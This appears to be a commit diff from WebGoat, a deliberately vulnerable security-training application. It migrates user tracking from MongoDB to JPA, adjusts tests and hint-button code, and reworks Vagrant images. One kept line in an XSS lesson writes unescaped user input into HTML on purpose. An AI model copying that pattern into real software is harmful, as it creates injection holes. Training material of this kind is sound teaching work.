webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webgoat.user.directory=${user.home}/.webgoat/
|
webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/
|
||||||
webgoat.build.version=@project.version@
|
webgoat.build.version=@project.version@
|
||||||
webgoat.build.number=@build.number@
|
webgoat.build.number=@build.number@
|
||||||
webgoat.email=webgoat@owasp.org
|
webgoat.email=webgoat@owasp.org
|
||||||
@ -28,7 +32,6 @@ webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org
|
|||||||
webgoat.database.driver=org.hsqldb.jdbcDriver
|
webgoat.database.driver=org.hsqldb.jdbcDriver
|
||||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||||
webgoat.default.language=en
|
webgoat.default.language=en
|
||||||
webgoat.embedded.mongo=${WG_INTERNAL_MONGO:true}
|
|
||||||
|
|
||||||
webwolf.host=${WEBWOLF_HOST:localhost}
|
webwolf.host=${WEBWOLF_HOST:localhost}
|
||||||
webwolf.port=${WEBWOLF_PORT:8081}
|
webwolf.port=${WEBWOLF_PORT:8081}
|
||||||
@ -39,10 +42,5 @@ webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail
|
|||||||
spring.jackson.serialization.indent_output=true
|
spring.jackson.serialization.indent_output=true
|
||||||
spring.jackson.serialization.write-dates-as-timestamps=false
|
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||||
|
|
||||||
spring.data.mongodb.host=${WG_MONGO_HOST:localhost}
|
|
||||||
spring.data.mongodb.port=${WG_MONGO_PORT:27017}
|
|
||||||
spring.data.mongodb.database=webgoat
|
|
||||||
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/
|
|
||||||
|
|
||||||
#For static file refresh ... and faster dev :D
|
#For static file refresh ... and faster dev :D
|
||||||
spring.devtools.restart.additional-paths=webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css
|
spring.devtools.restart.additional-paths=webgoat-container/src/main/resources/static/js,webgoat-container/src/main/resources/static/css
|
||||||
|
@ -74,7 +74,7 @@ define(['jquery',
|
|||||||
|
|
||||||
this.loadLesson = function(name,pageNum) {
|
this.loadLesson = function(name,pageNum) {
|
||||||
if (this.name === name) {
|
if (this.name === name) {
|
||||||
this.listenTo(this.lessonHintView, 'hints:showButton', this.onShowHintsButton);
|
this.listenToOnce(this.lessonHintView, 'hints:showButton', this.onShowHintsButton);
|
||||||
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
||||||
this.lessonContentView.navToPage(pageNum);
|
this.lessonContentView.navToPage(pageNum);
|
||||||
this.lessonHintView.hideHints();
|
this.lessonHintView.hideHints();
|
||||||
@ -102,12 +102,13 @@ define(['jquery',
|
|||||||
hasSource:this.lessonInfoModel.get('hasSource')
|
hasSource:this.lessonInfoModel.get('hasSource')
|
||||||
});
|
});
|
||||||
|
|
||||||
this.listenTo(this.helpControlsView,'hints:show',this.showHints);
|
this.listenTo(this.helpControlsView,'hints:show',this.showHintsView);
|
||||||
|
|
||||||
this.listenTo(this.helpControlsView,'lesson:restart',this.restartLesson);
|
this.listenTo(this.helpControlsView,'lesson:restart',this.restartLesson);
|
||||||
this.listenTo(this.developerControlsView, 'dev:labels', this.restartLesson);
|
this.listenTo(this.developerControlsView, 'dev:labels', this.restartLesson);
|
||||||
|
|
||||||
this.helpControlsView.render();
|
this.helpControlsView.render();
|
||||||
|
this.showHintsView();
|
||||||
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
||||||
};
|
};
|
||||||
|
|
||||||
@ -180,8 +181,13 @@ define(['jquery',
|
|||||||
// }
|
// }
|
||||||
// };
|
// };
|
||||||
|
|
||||||
this.showHints = function() {
|
this.showHintsView = function() {
|
||||||
this.lessonHintView.render();
|
this.lessonHintView.render();
|
||||||
|
if (this.lessonHintView.getHintsCount > 0) {
|
||||||
|
this.helpControlsView.showHintsButton();
|
||||||
|
} else {
|
||||||
|
this.helpControlsView.hideHintsButton();
|
||||||
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
this.restartLesson = function() {
|
this.restartLesson = function() {
|
||||||
|
@ -126,6 +126,10 @@ function($,
|
|||||||
} else {
|
} else {
|
||||||
this.$el.find('#show-prev-hint').css('visibility','visible');
|
this.$el.find('#show-prev-hint').css('visibility','visible');
|
||||||
}
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
getHintsCount: function () {
|
||||||
|
return this.collection.length;
|
||||||
}
|
}
|
||||||
|
|
||||||
});
|
});
|
||||||
|
@ -62,7 +62,7 @@ public class AssignmentEndpointTest {
|
|||||||
|
|
||||||
public void init(AssignmentEndpoint a) {
|
public void init(AssignmentEndpoint a) {
|
||||||
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
|
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
|
||||||
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
||||||
ReflectionTestUtils.setField(a, "webSession", webSession);
|
ReflectionTestUtils.setField(a, "webSession", webSession);
|
||||||
|
@ -1,23 +0,0 @@
|
|||||||
package org.owasp.webgoat.plugins;
|
|
||||||
|
|
||||||
import com.github.fakemongo.Fongo;
|
|
||||||
import com.mongodb.MongoClient;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.data.mongodb.config.AbstractMongoConfiguration;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Using Fongo for embedded in memory MongoDB testing
|
|
||||||
*/
|
|
||||||
@Configuration
|
|
||||||
public class TestConfig extends AbstractMongoConfiguration {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected String getDatabaseName() {
|
|
||||||
return "test";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public MongoClient mongo() throws Exception {
|
|
||||||
return new Fongo(getDatabaseName()).getMongo();
|
|
||||||
}
|
|
||||||
}
|
|
@ -63,7 +63,7 @@ public class LessonMenuServiceTest {
|
|||||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2));
|
||||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
@ -81,7 +81,7 @@ public class LessonMenuServiceTest {
|
|||||||
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1));
|
||||||
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL));
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
|
|
||||||
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC))
|
||||||
|
@ -72,7 +72,7 @@ public class LessonProgressServiceTest {
|
|||||||
@Before
|
@Before
|
||||||
public void setup() {
|
public void setup() {
|
||||||
Assignment assignment = new Assignment("test", "test");
|
Assignment assignment = new Assignment("test", "test");
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
when(websession.getCurrentLesson()).thenReturn(lesson);
|
when(websession.getCurrentLesson()).thenReturn(lesson);
|
||||||
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true));
|
||||||
|
@ -53,7 +53,7 @@ public class ReportCardServiceTest {
|
|||||||
when(course.getTotalOfLessons()).thenReturn(1);
|
when(course.getTotalOfLessons()).thenReturn(1);
|
||||||
when(course.getTotalOfAssignments()).thenReturn(10);
|
when(course.getTotalOfAssignments()).thenReturn(10);
|
||||||
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
|
when(course.getLessons()).thenReturn(Lists.newArrayList(lesson));
|
||||||
when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker);
|
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||||
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
|
||||||
.andExpect(status().isOk())
|
.andExpect(status().isOk())
|
||||||
|
@ -0,0 +1,29 @@
|
|||||||
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
|
||||||
|
@DataJpaTest
|
||||||
|
@RunWith(SpringRunner.class)
|
||||||
|
public class UserRepositoryTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private UserRepository userRepository;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void userShouldBeSaved() {
|
||||||
|
WebGoatUser user = new WebGoatUser("test", "password");
|
||||||
|
userRepository.saveAndFlush(user);
|
||||||
|
|
||||||
|
user = userRepository.findByUsername("test");
|
||||||
|
|
||||||
|
Assertions.assertThat(user.getUsername()).isEqualTo("test");
|
||||||
|
Assertions.assertThat(user.getPassword()).isEqualTo("password");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,101 @@
|
|||||||
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
|
import org.assertj.core.api.Assertions;
|
||||||
|
import org.assertj.core.util.Lists;
|
||||||
|
import org.junit.Test;
|
||||||
|
import org.junit.runner.RunWith;
|
||||||
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
import org.owasp.webgoat.lessons.Category;
|
||||||
|
import org.owasp.webgoat.lessons.NewLesson;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
|
||||||
|
import org.springframework.test.context.junit4.SpringRunner;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
@DataJpaTest
|
||||||
|
@RunWith(SpringRunner.class)
|
||||||
|
public class UserTrackerRepositoryTest {
|
||||||
|
|
||||||
|
private class TestLesson extends NewLesson {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Category getDefaultCategory() {
|
||||||
|
return Category.AJAX_SECURITY;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<String> getHints() {
|
||||||
|
return Lists.newArrayList();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Integer getDefaultRanking() {
|
||||||
|
return 12;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getTitle() {
|
||||||
|
return "test";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String getId() {
|
||||||
|
return "test";
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<Assignment> getAssignments() {
|
||||||
|
Assignment assignment = new Assignment("test", "test", Lists.newArrayList());
|
||||||
|
return Lists.newArrayList(assignment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
private UserTrackerRepository userTrackerRepository;
|
||||||
|
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void saveUserTracker() {
|
||||||
|
UserTracker userTracker = new UserTracker("test");
|
||||||
|
LessonTracker lessonTracker = userTracker.getLessonTracker(new TestLesson());
|
||||||
|
|
||||||
|
userTrackerRepository.save(userTracker);
|
||||||
|
|
||||||
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
|
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void solvedAssignmentsShouldBeSaved() {
|
||||||
|
UserTracker userTracker = new UserTracker("test");
|
||||||
|
TestLesson lesson = new TestLesson();
|
||||||
|
userTracker.getLessonTracker(lesson);
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTracker.assignmentSolved(lesson, "test");
|
||||||
|
|
||||||
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
|
||||||
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
|
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void saveAndLoadShouldHaveCorrectNumberOfAttemtps() {
|
||||||
|
UserTracker userTracker = new UserTracker("test");
|
||||||
|
TestLesson lesson = new TestLesson();
|
||||||
|
userTracker.getLessonTracker(lesson);
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
|
||||||
|
userTracker = userTrackerRepository.findByUser("test");
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTracker.assignmentFailed(lesson);
|
||||||
|
userTrackerRepository.saveAndFlush(userTracker);
|
||||||
|
|
||||||
|
Assertions.assertThat(userTracker.getLessonTracker(lesson).getNumberOfAttempts()).isEqualTo(4);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -1 +1,4 @@
|
|||||||
webgoat.user.directory=${java.io.tmpdir}
|
webgoat.user.directory=${java.io.tmpdir}
|
||||||
|
|
||||||
|
spring.datasource.url=jdbc:hsqldb:mem:test
|
||||||
|
spring.jpa.hibernate.ddl-auto=create-drop
|
32
webgoat-images/vagrant-developers/Vagrantfile
vendored
32
webgoat-images/vagrant-developers/Vagrantfile
vendored
@ -1,32 +0,0 @@
|
|||||||
Vagrant.configure(2) do |config|
|
|
||||||
config.vm.box = "boxcutter/ubuntu1604-desktop"
|
|
||||||
|
|
||||||
|
|
||||||
config.vm.provider "virtualbox" do |vb|
|
|
||||||
vb.gui = true
|
|
||||||
vb.memory = "4096"
|
|
||||||
vb.cpus = 2
|
|
||||||
vb.name = "WebGoat-Development"
|
|
||||||
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
|
|
||||||
end
|
|
||||||
|
|
||||||
config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'"
|
|
||||||
|
|
||||||
config.vm.provision 'shell' do |s|
|
|
||||||
s.path = '../vagrant_provision.sh'
|
|
||||||
s.privileged = true
|
|
||||||
end
|
|
||||||
|
|
||||||
config.vm.provision :shell, privileged:false, inline: <<-SHELL
|
|
||||||
echo -e "Cloning the WebGoat container repository"
|
|
||||||
git clone -b master https://github.com/WebGoat/WebGoat.git
|
|
||||||
echo -e "Cloning the WebGoat Lessons repository"
|
|
||||||
git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git
|
|
||||||
SHELL
|
|
||||||
|
|
||||||
config.vm.provision 'shell' do |s|
|
|
||||||
s.inline = "echo Finished provisioning, login with user vagrant pass vagrant"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
35
webgoat-images/vagrant-training/Vagrantfile
vendored
Normal file
35
webgoat-images/vagrant-training/Vagrantfile
vendored
Normal file
@ -0,0 +1,35 @@
|
|||||||
|
# Setup a Linux box headless which will start WebGoat and WebWolf helpful image to give away during training
|
||||||
|
|
||||||
|
Vagrant.configure(2) do |config|
|
||||||
|
config.vm.box = "ubuntu/trusty64"
|
||||||
|
config.vm.network :forwarded_port, guest: 8080, host: 8080
|
||||||
|
config.vm.network :forwarded_port, guest: 8081, host: 8081
|
||||||
|
config.vm.provider "virtualbox" do |vb|
|
||||||
|
vb.gui = false
|
||||||
|
vb.memory = "4096"
|
||||||
|
vb.cpus = 2
|
||||||
|
vb.name = "WebGoat-Training"
|
||||||
|
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
|
||||||
|
end
|
||||||
|
config.vm.provider "vmware_fusion" do |vf|
|
||||||
|
vf.gui = false
|
||||||
|
vf.vmx["memsize"] = 4096
|
||||||
|
vf.vmx["numvcpus"] = 2
|
||||||
|
vf.vmx["displayname"] = "WebGoat-Training"
|
||||||
|
end
|
||||||
|
|
||||||
|
config.vm.provision "shell", inline: <<-SHELL
|
||||||
|
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webgoat-server-8.0.0.RELEASE.jar
|
||||||
|
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webwolf-8.0.0.RELEASE.jar
|
||||||
|
sudo add-apt-repository ppa:openjdk-r/ppa
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install openjdk-8-jre -y
|
||||||
|
SHELL
|
||||||
|
|
||||||
|
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
|
||||||
|
java -jar webgoat-server-8.0.0.RELEASE.jar &
|
||||||
|
sleep 40s
|
||||||
|
java -jar webwolf-8.0.0.RELEASE.jar
|
||||||
|
SHELL
|
||||||
|
|
||||||
|
end
|
48
webgoat-images/vagrant-users/Vagrantfile
vendored
48
webgoat-images/vagrant-users/Vagrantfile
vendored
@ -1,48 +0,0 @@
|
|||||||
#For now use the same as for developers but start WebGoat
|
|
||||||
#In the future we can add Docker as well and then Vagrant can start the
|
|
||||||
#Docker container or Chef which setups the Tomcat
|
|
||||||
|
|
||||||
Vagrant.configure(2) do |config|
|
|
||||||
config.vm.box = "boxcutter/ubuntu1604-desktop"
|
|
||||||
config.vm.network :forwarded_port, guest: 8080, host: 9999
|
|
||||||
config.vm.provider "virtualbox" do |vb|
|
|
||||||
vb.gui = false
|
|
||||||
vb.memory = "2048"
|
|
||||||
vb.cpus = 2
|
|
||||||
vb.name = "WebGoat-Users"
|
|
||||||
vb.customize ["modifyvm", :id, "--nictype1", "virtio"]
|
|
||||||
end
|
|
||||||
config.vm.provider "vmware_fusion" do |vf|
|
|
||||||
vf.gui = false
|
|
||||||
vf.vmx["memsize"] = 4096
|
|
||||||
vf.vmx["numvcpus"] = 2
|
|
||||||
vf.vmx["displayname"] = "WebGoat-Users"
|
|
||||||
end
|
|
||||||
|
|
||||||
config.ssh.shell = "bash -c 'BASH_ENV=/etc/profile exec bash'"
|
|
||||||
|
|
||||||
config.vm.provision 'shell' do |s|
|
|
||||||
s.path = '../vagrant_provision.sh'
|
|
||||||
s.privileged = true
|
|
||||||
end
|
|
||||||
|
|
||||||
config.vm.provision :shell, inline: <<-SHELL
|
|
||||||
echo -e "Cloning the WebGoat container repository"
|
|
||||||
git clone -b master https://github.com/WebGoat/WebGoat.git
|
|
||||||
echo -e "Cloning the WebGoat Lessons repository"
|
|
||||||
git clone -b master https://github.com/WebGoat/WebGoat-Lessons.git
|
|
||||||
echo -e "Compiling and installing the WebGoat Container lesson server....."
|
|
||||||
mvn -q -DskipTests -file WebGoat/pom.xml clean compile install
|
|
||||||
echo -e "Compiling and installing the WebGoat Lessons $COL_RESET"
|
|
||||||
mvn -q -DskipTests -file WebGoat-Lessons/pom.xml package
|
|
||||||
echo -e "Copying the compiled lessons jars into the container so we can start the lesson server with some base lessons"
|
|
||||||
cp -fa ./WebGoat-Lessons/target/plugins/*.jar ./WebGoat/webgoat-container/src/main/webapp/plugin_lessons/
|
|
||||||
nohup mvn -q -DskipTests -file WebGoat/pom.xml -pl webgoat-container tomcat7:run-war 0<&- &>/dev/null &
|
|
||||||
SHELL
|
|
||||||
|
|
||||||
config.vm.provision 'shell' do |s|
|
|
||||||
s.inline = "echo Finished provisioning, open a browser and browse to http://localhost:9999/WebGoat/"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
@ -1,62 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
set -e
|
|
||||||
|
|
||||||
echo "Setting locale..."
|
|
||||||
sudo update-locale LC_ALL=en_US.UTF-8 LANG=en_US.UTF-8
|
|
||||||
|
|
||||||
sudo kill -9 $(lsof -t /var/lib/dpkg/lock) || true
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install -y git
|
|
||||||
|
|
||||||
echo "Installing required packages..."
|
|
||||||
sudo apt-get install -y -q build-essential autotools-dev automake pkg-config expect
|
|
||||||
|
|
||||||
|
|
||||||
## Chrome
|
|
||||||
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
|
|
||||||
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
|
|
||||||
sudo apt-get update
|
|
||||||
sudo apt-get install -y google-chrome-stable
|
|
||||||
|
|
||||||
## Java 8
|
|
||||||
echo "Provisioning Java 8..."
|
|
||||||
mkdir -p /home/vagrant/java
|
|
||||||
cd /home/vagrant/java
|
|
||||||
test -f /tmp/jdk-8-linux-x64.tar.gz || curl -q -L --cookie "oraclelicense=accept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u101-b13/jdk-8u101-linux-x64.tar.gz -o /tmp/jdk-8-linux-x64.tar.gz
|
|
||||||
|
|
||||||
sudo mkdir -p /usr/lib/jvm
|
|
||||||
sudo tar zxf /tmp/jdk-8-linux-x64.tar.gz -C /usr/lib/jvm
|
|
||||||
|
|
||||||
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_101/bin/java" 1
|
|
||||||
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_101/bin/javac" 1
|
|
||||||
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_101/bin/javaws" 1
|
|
||||||
|
|
||||||
sudo chmod a+x /usr/bin/java
|
|
||||||
sudo chmod a+x /usr/bin/javac
|
|
||||||
sudo chmod a+x /usr/bin/javaws
|
|
||||||
sudo chown -R root:root /usr/lib/jvm/jdk1.8.0_101
|
|
||||||
|
|
||||||
echo "export JAVA_HOME=/usr/lib/jvm/jdk1.8.0_101" >> /home/vagrant/.bashrc
|
|
||||||
|
|
||||||
## Maven
|
|
||||||
echo "Installing Maven.."
|
|
||||||
sudo apt-get install -y maven
|
|
||||||
|
|
||||||
## ZAP
|
|
||||||
echo "Provisioning ZAP..."
|
|
||||||
cd /home/vagrant
|
|
||||||
mkdir tools
|
|
||||||
cd tools
|
|
||||||
wget https://github.com/zaproxy/zaproxy/releases/download/2.5.0/ZAP_2.5.0_Linux.tar.gz
|
|
||||||
tar xvfx ZAP_2.5.0_Linux.tar.gz
|
|
||||||
rm -rf ZAP_2.5.0_Linux.tar.gz
|
|
||||||
|
|
||||||
## IntelliJ
|
|
||||||
cd /home/vagrant/tools
|
|
||||||
wget https://download.jetbrains.com/idea/ideaIC-2016.1.4.tar.gz
|
|
||||||
tar xvfz ideaIC-2016.1.4.tar.gz
|
|
||||||
rm -rf ideaIC-2016.1.4.tar.gz
|
|
||||||
|
|
||||||
## Eclipse
|
|
||||||
sudo apt-get -y install eclipse
|
|
||||||
|
|
@ -46,7 +46,6 @@ public class Flag extends Endpoint {
|
|||||||
@PostConstruct
|
@PostConstruct
|
||||||
public void initFlags() {
|
public void initFlags() {
|
||||||
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
|
||||||
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -64,7 +64,7 @@ public class CrossSiteScriptingLesson5a extends AssignmentEndpoint {
|
|||||||
userSessionData.setValue("xss-reflected1-complete",(Object)"false");
|
userSessionData.setValue("xss-reflected1-complete",(Object)"false");
|
||||||
StringBuffer cart = new StringBuffer();
|
StringBuffer cart = new StringBuffer();
|
||||||
cart.append("Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />");
|
cart.append("Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />");
|
||||||
cart.append("<p>We have chaged credit card:" + field1 + "<br />");
|
cart.append("<p>We have charged credit card:" + field1 + "<br />");
|
||||||
cart.append( " ------------------- <br />");
|
cart.append( " ------------------- <br />");
|
||||||
cart.append( " $" + totalSale);
|
cart.append( " $" + totalSale);
|
||||||
|
|
||||||
|
@ -33,7 +33,7 @@ public class CSRFLogin extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private void markAssignmentSolvedWithRealUser(String username) {
|
private void markAssignmentSolvedWithRealUser(String username) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(username);
|
UserTracker userTracker = userTrackerRepository.findByUser(username);
|
||||||
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
|
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
}
|
}
|
||||||
|
@ -1,8 +1,8 @@
|
|||||||
|
|
||||||
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request.
|
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the
|
||||||
|
input and display it back to the user, illustrating the basics of handling an HTTP request.
|
||||||
The user should become familiar with the features of WebGoat by manipulating the above buttons to view hints, show the HTTP request parameters, the HTTP request cookies, and the Java source code. You may also try using OWASP ZAP Attack Proxy to see the HTTP data.
|
|
||||||
|
|
||||||
== Try It!
|
== Try It!
|
||||||
|
|
||||||
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input and display it back to the user, illustrating the basics of handling an HTTP request.
|
Enter your name in the input field below and press "Go!" to submit. The server will accept the request, reverse the input
|
||||||
|
and display it back to the user, illustrating the basics of handling an HTTP request.
|
@ -43,34 +43,13 @@
|
|||||||
<version>${project.version}</version>
|
<version>${project.version}</version>
|
||||||
<scope>provided</scope>
|
<scope>provided</scope>
|
||||||
<type>jar</type>
|
<type>jar</type>
|
||||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
|
||||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
|
||||||
<exclusions>
|
|
||||||
<exclusion>
|
|
||||||
<groupId>de.flapdoodle.embed</groupId>
|
|
||||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
|
||||||
</exclusion>
|
|
||||||
</exclusions>
|
|
||||||
</dependency>
|
</dependency>
|
||||||
<!--<dependency>-->
|
|
||||||
<!--<groupId>org.apache.commons</groupId>-->
|
|
||||||
<!--<artifactId>commons-exec</artifactId>-->
|
|
||||||
<!--<version>1.3</version>-->
|
|
||||||
<!--</dependency>-->
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-container</artifactId>
|
<artifactId>webgoat-container</artifactId>
|
||||||
<version>${project.version}</version>
|
<version>${project.version}</version>
|
||||||
<classifier>tests</classifier>
|
<classifier>tests</classifier>
|
||||||
<scope>test</scope>
|
<scope>test</scope>
|
||||||
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
|
|
||||||
the easiest way to stop the autoconfiguration of Spring Boot -->
|
|
||||||
<exclusions>
|
|
||||||
<exclusion>
|
|
||||||
<groupId>de.flapdoodle.embed</groupId>
|
|
||||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
|
||||||
</exclusion>
|
|
||||||
</exclusions>
|
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
